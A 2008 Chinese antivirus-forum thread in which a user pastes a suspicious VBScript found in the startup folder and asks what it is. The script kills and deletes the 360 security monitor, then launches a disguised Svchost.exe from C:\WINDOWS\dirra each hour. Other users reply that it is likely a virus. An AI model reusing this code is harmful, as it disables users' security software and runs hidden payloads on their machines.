spoolsv.vbs求助 - 瑞星卡卡安全论坛bbs.ikaka.com

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛 spoolsv.vbs求助

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第五十次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

1

1 / 1 页

跳转页

spoolsv.vbs求助

本主题由版主 mopery 于 2008-12-14 21:43:31 执行移动主题操作

网络随风初生襁褓狮帖子:6 注册: 2007-02-03 来自:	发表于： 2008-12-13 16:33 \| 只看楼主短消息资料字号：小中大 1楼 spoolsv.vbs求助今天在启动项里发现了个东西 spoolsv.vbs 找到文件用记事本打开有如下代码： dim sss set sss=wscript.createobject("wscript.shell") sss.run "cmd /c taskkill /im 360tray.exe /f",0 wscript.sleep 6000 on error resume next Dim fso,obj set fso=createobject("scripting.filesystemobject") fso.deleteFile "C:\Program Files\360safe\safemon\360tray.exe" Dim Wsh Set Wsh = Wscript.CreateObject("Wscript.Shell") Wscript.Sleep ("1000") do If Time > TimeValue ("00:10") And Time < TimeValue ("00:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("01:10") And Time < TimeValue ("01:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("02:10") And Time < TimeValue ("02:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("03:10") And Time < TimeValue ("03:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("04:10") And Time < TimeValue ("04:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("05:10") And Time < TimeValue ("05:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("06:10") And Time < TimeValue ("06:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("07:10") And Time < TimeValue ("07:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("08:10") And Time < TimeValue ("08:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("09:10") And Time < TimeValue ("09:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("10:10") And Time < TimeValue ("10:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("11:10") And Time < TimeValue ("11:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("12:10") And Time < TimeValue ("12:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("13:10") And Time < TimeValue ("13:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("14:10") And Time < TimeValue ("14:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("15:10") And Time < TimeValue ("15:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("16:10") And Time < TimeValue ("16:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("17:10") And Time < TimeValue ("17:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("18:10") And Time < TimeValue ("18:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("19:10") And Time < TimeValue ("19:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("20:10") And Time < TimeValue ("20:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("21:10") And Time < TimeValue ("21:20") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("22:25") And Time < TimeValue ("22:45") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If If Time > TimeValue ("23:10") And Time < TimeValue ("23:15") Then Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe") End If wscript.sleep 180000 loop 这是什么东西？是病毒？还是？用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
网络随风初生襁褓狮帖子:6 注册: 2007-02-03 来自:	分享到：

水中蝌蚪叱咤花甲狮帖子:4582 注册: 2008-05-13 来自:	发表于： 2008-12-13 16:38 \| 短消息资料字号：小中大 2楼回复：spoolsv.vbs求助看不明白。。。觉得我回答的好，就给我评分吧！
水中蝌蚪叱咤花甲狮帖子:4582 注册: 2008-05-13 来自:

地面月影℡ 初生襁褓狮帖子:52 注册: 2007-10-11 来自:	发表于： 2008-12-13 16:44 \| 短消息资料字号：小中大 3楼回复：spoolsv.vbs求助应该是病毒。
地面月影℡ 初生襁褓狮帖子:52 注册: 2007-10-11 来自:

网络随风初生襁褓狮帖子:6 注册: 2007-02-03 来自:	发表于： 2008-12-13 16:45 \| 只看楼主短消息资料字号：小中大 4楼回复：spoolsv.vbs求助就是在开始菜单的启动里多了个启动spoolsv.vbs。找到这个文件后发现能用记事本打开，里面的代码就是这个，在C:\WINDOWS\下发现了个文件夹dirra ，里面有个文件Svchost.exe，样子是记事本，但后缀是.exe，我把他删了
网络随风初生襁褓狮帖子:6 注册: 2007-02-03 来自:

zg1_2004 禁止访问帖子:6782 注册: 2004-01-22 来自:	发表于： 2008-12-13 17:07 \| 短消息资料字号：小中大 5楼回复：spoolsv.vbs求助该用户帖子内容已被屏蔽
zg1_2004 禁止访问帖子:6782 注册: 2004-01-22 来自:

<<上一主题|下一主题>>

1

1 / 1 页

跳转页

页面顶部

Powered by Discuz!NT